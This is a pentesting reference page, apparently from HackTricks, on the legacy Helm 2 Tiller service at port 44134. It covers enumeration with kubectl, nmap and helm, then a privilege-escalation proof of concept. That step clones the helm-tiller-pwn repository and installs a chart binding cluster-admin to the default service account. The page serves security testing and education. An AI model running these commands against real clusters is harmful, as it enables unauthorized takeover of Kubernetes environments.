DΛΣMӨП

// HackTricks · Network Services

44134 Tiller / Helm

44134 Tiller / Helm

Basic Information

Helm is a package manager for Kubernetes, and its packages are called charts. This page concerns the historical Helm 2 architecture, in which the client talked to an in-cluster server named Tiller over TCP port 44134. Helm 3 removed Tiller, so finding this port normally indicates a legacy deployment.[1]

Default port: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

If you can enumerate pods and/or services of different namespaces enumerate them and search for the ones with “tiller” in their name:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Examples:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

You could also try to find this service running checking the port 44134:

sudo nmap -sS -p 44134 <IP>

After discovering it, install a compatible Helm 2 client with a package manager such as Homebrew or download the matching binary from Helm’s official releases. A Helm 3 client does not implement the same Tiller workflow.[2][5]

Then, you can enumerate the service:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

Helm 2 commonly deployed Tiller in kube-system. The effective impact depends on Tiller’s service account and whether TLS/authentication is configured; an exposed Tiller running with broad RBAC permissions can provide a path to cluster privilege escalation.[3]

One proof of concept installs a chart that creates a cluster-admin binding for the default service account. It succeeds only if Tiller itself is allowed to create those RBAC objects; it does not make every Tiller deployment automatically cluster-admin.[4]

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

The chart’s exact clusterrole.yaml and clusterrolebinding.yaml manifests grant broad permissions to the default service account. Inspect both files before using the proof of concept.[3][6][7]

References